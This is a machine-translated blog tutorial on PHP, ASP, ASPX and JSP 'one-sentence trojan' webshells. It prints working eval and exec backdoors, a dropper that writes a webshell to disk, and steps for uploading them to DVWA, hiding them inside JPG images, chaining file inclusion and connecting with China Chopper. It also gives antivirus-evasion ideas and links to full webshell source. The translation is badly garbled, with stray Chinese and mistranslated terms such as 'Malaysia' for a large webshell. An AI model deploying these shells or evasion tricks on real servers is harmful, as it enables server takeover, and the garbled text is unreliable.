Троян веб-безопасности — одно предложение
Троян веб-безопасности — одно предложение

Всем привет, мы снова встретились, я ваш друг Цюаньчжаньцзюнь.

Обзор

Во время многих проникновений,Специалисты по проникновению загрузят трояна, состоящего из одного предложения(Вебшелл для краткости)до сих порwebЗатем каталог службы повышает привилегии для получения системных разрешений.,Это верно независимо от asp, php, jsp, aspx.,Так что же такое троян, состоящий из одного предложения?

Давайте сначала взглянем на простейшего трояна, состоящего из одного предложения:

Язык кода:javascript
копировать
   <?php @eval($_POST['attack']);?>

Основные принципы】использоватьУязвимость загрузки файлов,Загрузите троян-предложение на целевой веб-сайт.,Затем вы можете локально передать Китайский кухонный нож.chopper.exeВы можете получить и контролировать весь каталог веб-сайта.。@значит позади Даже если ошибка выполнения,Ошибок тоже не сообщается。eval()Функция указывает, что все строки операторов в круглых скобках выполняются как код.。$_POST['attack']Представляет полученное со страницыattackЗначение этого параметра。

условия вторжения

Среди них, если злоумышленник соответствует трем условиям, можно добиться успешного вторжения:

Язык кода:javascript
копировать
(1) Троянец был успешно загружен и не был уничтожен;
(2) Знать, где находится путь трояна;
(3) Загруженный троян может работать нормально.

распространенные формы

Распространенные трояны, состоящие из одного предложения:

Язык кода:javascript
копировать
Троян для php одним предложением: <?php @eval($_POST['pass']);?>
Предложение asp:   <%eval request ("pass")%>
Предложение от aspx:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

Мы можем напрямую вставить эти операторы в файл asp/aspx/php на веб-сайте или напрямую создать новый файл, записать в него эти операторы, а затем загрузить файл на веб-сайт.

Основные принципы

Для начала давайте посмотрим на оригинальный и простой PHP-троян, состоящий из одного предложения:

Язык кода:javascript
копировать
   <?php @eval($_POST['cmd']); ?>

Видя это, я должен воздать должное мудрости моих предшественников. Для тех, кто немного разбирается в php,Или начинающий любитель безопасности,или скрипт-кидди,Первое, что я увидел, это то, что пароль — cmd.,Отправьте данные по почте,Но как это реализовать,но неизвестно,Далее мы анализируем, как исполняется приговор.

Что означает это предложение?

(1)phpКод должен быть написан на<?php ?>в,Только тогда сервер сможет распознать, что это php-код.,Затем проанализируйте。 (2)@Символ означает, что об ошибке не сообщается.,Даже если ошибка выполнения,Об ошибках также не сообщается.

Почему? Поскольку переменная не определена,Он был использован,Сервер дает дружеское напоминание:,твойxxxпеременная не определена。Разве это не раскрывает пароль??Итак, мы добавляем@

(3) Почему пароль cmd?

Тогда нам нужно понять смысл этого предложения.。phpв几个超全局变量:_GET、_POSTто естьв№1。

Примечание. Существует два метода передачи данных: get и post. Post сохраняет данные в теле сообщения, а get сохраняет данные в URL-адресе заголовка сообщения (например, xxx.php?a=2).

(4)Как понятьфункция оценки()

eval() выполняет строку как PHP-код.

Например:eval("echo 'a'");Фактически это эквивалентно прямому echo 'a';Давайте посмотрим еще раз<?php eval($_POST['pw']); ?>первый,Используйте метод post для получения переменной pw,Например, получил:pw=echo 'a';В это время код становится<?php eval("echo 'a';"); ?>。Результаты следующие::

Вместе они означают: используйте метод post для получения переменной pw.,Выполните строку в переменной pw как код PHP. Так что это можно сыграть так: то есть,какой код вы хотите выполнить,Просто поместите код в переменную pw,Используйте сообщение, чтобы передать предложение Trojan. Хотите проверить, есть ли на целевом жестком диске порнографические фильмы?,доступныйphpфункция:opendir()иreaddir()и т. д.。Я хочу загрузить несколько порнографических видео,Подставим владельца сайта,Просто используйтеphpфункция:move_uploaded_file,Разумеется, соответствующий html должен быть написан хорошо. Вы хотите выполнить команду cmd?,затем используйтеexec()

Конечно, предпосылка такова: в файле конфигурации PHP php.ini,выключать Безопасностьмодельsafe_mode = off,тогда посмотри еще раз Список отключенных функций disable_functions = proc_open, popen, exec, system, shell_exec , удалите exec и убедитесь, что exec нет (некоторые cms удаляют его для облегчения обработки определенных функций).

Давайте посмотрим на эффект. POST-код выглядит следующим образом:

Язык кода:javascript
копировать
  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo '<pre>';
  print_r($out);
  echo '</pre>';

Здесь мы видим, что система непосредственно выполняет системную команду. ТАК, теперь всем должно быть понятно, почему это предложение короткое и лаконичное!

Троянский эксплойт

Следование Уязвимость от DVWA загрузки файлы, давайте посмотрим, как использовать трояна, состоящего из одного предложения. Об Уязвимости загрузки файлов Вы можете прочитать следующие статьи:Уязвимость загрузки файлов

Китайский кухонный нож.

[Подготовка к эксперименту] Сначала сохраните файл трояна Hack.php, состоящий из одного предложения, локально (на рабочем столе) (напишите его в Блокноте, а затем измените суффикс файла):

Язык кода:javascript
копировать
  <?php @eval($_POST['pass']);?>

Затем войдите на платформу DVWA: http://127.0.0.1:8088/DVWA/index.php и приготовьтесь начать эксперимент.

В разделе «Низкий уровень безопасности» просмотрите фоновый исходный код:

Язык кода:javascript
копировать
 <?php
 if( isset( $_POST[ 'Upload' ] ) ) { 
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
   
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else { 
   
        // Yes!
        echo "<pre>{ 
     $target_path} succesfully uploaded!</pre>";
    }
  }
?>

Из исходного кода было обнаружено, что низкий уровень не выполняет никакой проверки загруженных файлов. Таким образом, вы можете напрямую загрузить трояна PHP или ASP, состоящего из одного предложения. В этом примере используется PHP.

(1) Мы напрямую загружаем подготовленный троян, состоящий из одного предложения, и затем вы можете увидеть отраженный путь:

(2) Затем вы можете использовать прерыватель для подключения. Щелкните правой кнопкой мыши интерфейс прерывателя и нажмите «Добавить». Затем заполните соответствующие данные, как показано ниже:

“Китайский кухонный нож.”Инструкция по работе со страницей:

1. Это URL-адрес соединения, который представляет собой основной путь веб-сайта плюс путь сохранения, отображаемый при загрузке файлов; 2. Это пароль при подключении к чопперу, который представляет собой данные, представленные в одном предложении на картинке выше (в данном случае «pass»); 3. Это тип синтаксического анализа предложения, который может быть asp, php, aspx. Различные типы синтаксического анализа имеют разное содержимое предложений и разные суффиксы файлов.

(3) Затем вы увидите интерфейс успешного подключения:

(4) Затем дважды щелкните или щелкните правой кнопкой мыши «Управление файлами», чтобы войти в следующий интерфейс:

Мы увидели всю структуру и файлы веб-сайта и даже раскрыли всю дисковую память моего хост-компьютера! ! Допускаются любые незаконные добавления, удаления, проверки и модификации! ! Сайт (хост) упал...

Изображение Трояна

Как можно успешно загрузить трояна? Обычно защитники фильтруют по типу, размеру и т. д. Кроме того, если условием является загрузка изображений, они также будут собраны. Даже если злоумышленник изменит тип файла, он не сможет пройти уровень сбора изображений. Итак, для обложки требуется изображение. Создайте троянского коня, спрятанного под картинкой. И в Linux, и в Windows есть соответствующие команды, которые могут объединять один файл с другим для достижения цели сокрытия.

Чтобы провести описанный выше эксперимент DVWA с высоким уровнем безопасности, сначала продолжайте просматривать исходный код:

Язык кода:javascript
копировать
 <?php
 if( isset( $_POST[ 'Upload' ] ) ) { 
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) { 
   

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
   
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else { 
   
            // Yes!
            echo "<pre>{ 
     $target_path} succesfully uploaded!</pre>";
        }
    }
    else { 
   
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
 }
?>

можно увидеть,Код высокого уровня считывает строку после последнего знака "." в имени файла.,Ожидайте ограничения типа файла по имени файла.,Поэтому необходимо, чтобы формат имени загружаемого файла был“*.jpg”“.jpeg”“*.png”№1。в то же время,getimagesize()функция更是限制了загрузить文件的Заголовок файла должен иметь тип изображения.

Нам нужно замаскировать заголовок загруженного файла под изображение.,первыйиспользоватькоманда копированияПоместите троянский файл одним предложениемHack.phpс обычными файлами изображенийClearSky.jpgслить:

[Примечания] Следующее используется под командой CMD копированияделать“Изображение Трояна”шаги,в,ClearSky.jpg/bсередина“b”выражать“двоичный файл”,hack.php/aсередина“a”выражатьФайл кода ASCII

Создание файлов изображений с помощью трояновhack.jpg

Затем открываем сгенерированное Изображение Трояна, мы видим, что к концу файла изображения прикреплено предложение «Троян»:

Затем мы пытаемся преобразовать сгенерированный файл образа трояна.hack.jpgзагрузить,Загрузка прошла успешно! ! !

доступ Изображение Трояна:

Далее подайте кухонный нож.!!!!!!!!!!!

Но поскольку это Изображение Трояна, PHP-скрипт не разбирается, и чоппер не может подключиться к трояну:

Так как Изображение Трояна тоже не разбирается,Что делать? Программы высокого уровня позволяют загружать только изображения... не паникуйте,Здесь в сочетании с файлом, идущим в комплекте со стрельбищем DVWA, уязвимость можно успешно загрузить в PHP-троян и подключить к кухонному ножу.,Ниже приводится демонстрация атаки.

Сначала создайте новое Изображение Трояна с помощью описанного выше метода, PHP-скрипт, лежащий в основе файла изображения, изменится на:

Язык кода:javascript
копировать
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>

Затем создайте новое Изображение Трояна, как показано ниже:

Затем загрузите его в DVWA, а затем используйте модуль уязвимости включения файлов для доступа к файлу трояна:

доступ的地址如下:http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,Как показано ниже:

в это времяDVWAФайл, содержащий уязвимость, автоматически создается по указанному пути.PHPФайл сценария троянского коня из одного предложенияmuma.php,Как показано ниже:

В это время снова подключите кухонный нож, и соединение пройдет успешно:

До сих пор,Мы успешно объединили уязвимости включения файлов,在只能загрузить图片的文件загрузить功能处загрузить Изображение Трояна и сгенерируйте предложение Trojan. Наконец, я прикрепляю сообщение в блоге, представляющее Изображение Трояна+解析漏洞的использовать:PHPИзображение Трояна

Троян, свободный от убийств

Даже если троянец сможет работать нормально, будет ли он через некоторое время уничтожен администратором? Как не быть убитым? Хотя троян был успешно загружен выше, пока администратор убивает вирус, все они могут быть уничтожены. Причем будет четко указано, что это бэкдор. Поэтому, как нападающий, вы должны знать различные техники убийства. Защита защитника очень проста. Всякий раз, когда на форуме появляется новая техника борьбы с убийствами, и сотрудники службы безопасности немедленно заносят ее в черный список, эта техника борьбы с убийствами становится неэффективной. Поэтому злоумышленникам необходимо продолжать внедрять инновации и изобретать новые методы борьбы с убийствами.

Идеи против убийств】:

1. Перекодируйте исходный код.

2. Base64 закодирует трояна, состоящего из одного предложения, и сохранит его в «беспорядочном» коде. Посмотрите непосредственно на картинку:

3. Это по-прежнему трансформированный троян, состоящий из одного предложения, но на этот раз преобразование представляет собой преобразование пар ключ-значение в массиве. Очень сильный.

Я должен сказать, что чем непристойнее идея избежать убийства, тем лучше. Очень интересно учиться. В будущем, когда я овладею навыками проникновения, я буду изучать различные антивирусные приемы PHP-кода. Это очень весело, а идеи очень непристойные.

Пони и большая лошадь

Пони и большая лошадь — это все виды бэкдоров на веб-страницах.,используется для контроля разрешений веб-сайта,ЧтоОсновное отличие в том, что пони используются для загрузки больших лошадей.。通过小马загрузить大马,Теперь у меня есть вопрос,Это не лишнее.,Зачем использовать пони для загрузки большой лошади?,И почему бы просто не загрузить его в Малайзию и не использовать. На самом деле это потому, что пони небольшого размера.,У нее более сильное скрытое преимущество, чем у Малайзии.,И есть уязвимость, связанная с ограничением размера загрузки файлов.,Вот почему есть пони,Пони также часто используют для изготовления запасных задних дверей и т. д.

веб-пони

Размер Pony очень маленький, всего 2 КБ, и скрытие тоже очень хорошее, потому что функция Pony очень проста, это функция загрузки, и больше ничего нет. Его функция - только загружать файлы, поэтому он может это делать. Пройдите несколько проверок безопасности. Xiaoma предназначена для удобства загрузки в Малайзию. Поскольку многие лазейки имеют ограничения на загрузку, Малайзия не может загружать, поэтому вы можете сначала загрузить Xiaoma, а затем загрузить Малайзию через Xiaoma. Pony также можно запустить через уязвимость IIS в сочетании с композицией изображений.

В фоновом режиме мы используем троян JSP, написанный на языке Java. В отличие от предыдущего трояна, состоящего из одного предложения, троян JSP в Chopper длиннее. Ниже приведен простой пример JSP:

Язык кода:javascript
копировать
<%
    if("123".equals(request.getParameter("pwd"))){ 
   
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){ 
   
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

Если его можно проанализировать после успешной загрузки,просить:http://серверIP:порт/Shell/cmd.jsp?pwd=123&i=ipconfig Команда может быть выполнена.

Интернет Малайзия

Размер Малайзии относительно велик, обычно около 50 КБ, что во много раз больше, чем у Pony. Однако соответствующие функции также очень мощные, включая управление данными, командные операции, управление базами данных, распаковку и повышение привилегий. очень мощные. Как только веб-сайт будет создан такой Малайзией, он фактически окажется под контролем этой Малайзии. Сокрытие в Малайзии не является хорошим, поскольку оно включает в себя большое количество секретного кода, который легко сканируется программами безопасности.

Китайский кухонный предложение ножа не учитывается. Операция предложения чоппера через клиента также очень эффективна. Код одного предложения может быть таким же, как и реализованный в Малайзии. Мы говорим о Пони. и большая лошадь是指网页类型середина的,Сяо Ма просто поможет загрузить Да Ма.,Это его основная функция,Также пони можно использовать как запасной ход.,В Малайзии обычно легко найти,Пони скорее всего будет спрятан в системных папках.

Давайте рассмотрим пример использования Malaysia: Загрузите PHP Malaysia в DVWA на виртуальной машине (исходный код приложен в конце):

доступ木马文件123.php,Введите пароль 123456, чтобы войти в список функций Малайзии.,На следующем рисунке показана функция управления файлами:

Продолжите доступ к функции выполнения команд (другие функции не показаны):

Наконец, прикрепите код PHP Malaysia (код слишком длинный).,Ссылка на облачный диск Baidu):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A Код извлечения:56pd。Также доступенJSPСправочный адрес Малайзии:https://blog.csdn.net/weixin_34248023/article/details/93094456

WebShell

Webshell — это среда выполнения команд, существующая в виде веб-файлов, таких как asp, php, jsp или cgi. Ее также можно назвать веб-бэкдором.。После того, как хакер проник на сайт,Обычно файлы бэкдора asp или php смешиваются с обычными файлами веб-страниц в каталоге WEB сервера веб-сайта.,Затем вы можете использовать браузер для доступа к бэкдору asp или php.,Получите среду выполнения команд для управления сервером сайта.

Webshell можно разделить на трояны-скрипты PHP, трояны-скрипты ASP, трояны-скрипты на основе .NET и трояны-скрипты JSP, основанные на скриптах. За рубежом также существуют динамические веб-страницы, написанные на языке сценариев Python, и, конечно же, существуют связанные с ними веб-шеллы. Webshell также делится на «больших лошадей», «маленьких лошадей» и троянцев, состоящих из одного предложения, в зависимости от их функций.,Например:<%eval request(“pass”)%>通常把这句话写入一个文档в,Затем измените имя файла наxx.asp。然后传到сервер上面。использоватьevalметод будетrequest(“pass”)Преобразование в выполнение кода,requestфункция的作использовать是应использовать外部文件。Это эквивалент клиентской конфигурации трояна в одном предложении.。Конкретная классификация выглядит следующим образом.:

Издатель: Лидер стека программистов полного стека, укажите источник для перепечатки: https://javaforall.cn/143133.html Исходная ссылка: https://javaforall.cn

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose